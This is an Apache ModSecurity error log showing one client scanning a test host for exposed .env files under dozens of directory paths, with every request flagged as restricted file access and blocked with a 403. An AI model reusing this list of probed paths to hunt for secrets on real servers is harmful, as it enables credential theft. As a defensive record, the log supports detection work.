[Mon Jul 28 20:46:06.107934 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqgAAAAU&quot;]
[Mon Jul 28 20:46:06.129901 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /charts/liveobjects/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqwAAAAU&quot;]
[Mon Jul 28 20:46:06.130118 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqwAAAAU&quot;]
[Mon Jul 28 20:46:06.130293 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqwAAAAU&quot;]
[Mon Jul 28 20:46:06.152556 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chat-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrAAAAAU&quot;]
[Mon Jul 28 20:46:06.152833 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrAAAAAU&quot;]
[Mon Jul 28 20:46:06.153048 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrAAAAAU&quot;]
[Mon Jul 28 20:46:06.175035 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chiminey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrQAAAAU&quot;]
[Mon Jul 28 20:46:06.175261 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrQAAAAU&quot;]
[Mon Jul 28 20:46:06.175436 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrQAAAAU&quot;]
[Mon Jul 28 20:46:06.241608 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrwAAAAU&quot;]
[Mon Jul 28 20:46:06.241835 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrwAAAAU&quot;]
[Mon Jul 28 20:46:06.241994 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXrwAAAAU&quot;]
[Mon Jul 28 20:46:06.263968 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsAAAAAU&quot;]
[Mon Jul 28 20:46:06.265896 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsAAAAAU&quot;]
[Mon Jul 28 20:46:06.266071 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsAAAAAU&quot;]
[Mon Jul 28 20:46:06.287830 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/mutual-fund-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsQAAAAU&quot;]
[Mon Jul 28 20:46:06.288038 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsQAAAAU&quot;]
[Mon Jul 28 20:46:06.288193 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsQAAAAU&quot;]
[Mon Jul 28 20:46:06.310164 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsgAAAAU&quot;]
[Mon Jul 28 20:46:06.310393 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsgAAAAU&quot;]
[Mon Jul 28 20:46:06.310557 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXsgAAAAU&quot;]
[Mon Jul 28 20:46:06.332364 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXswAAAAU&quot;]
[Mon Jul 28 20:46:06.332558 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXswAAAAU&quot;]
[Mon Jul 28 20:46:06.332723 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXswAAAAU&quot;]
[Mon Jul 28 20:46:06.354498 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clld_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtAAAAAU&quot;]
[Mon Jul 28 20:46:06.354696 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtAAAAAU&quot;]
[Mon Jul 28 20:46:06.354850 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtAAAAAU&quot;]
[Mon Jul 28 20:46:06.376591 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtQAAAAU&quot;]
[Mon Jul 28 20:46:06.376828 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtQAAAAU&quot;]
[Mon Jul 28 20:46:06.376980 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtQAAAAU&quot;]
[Mon Jul 28 20:46:06.398811 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cmd/testdata/expected/dot_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtgAAAAU&quot;]
[Mon Jul 28 20:46:06.399002 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXtgAAAAU&quot;]
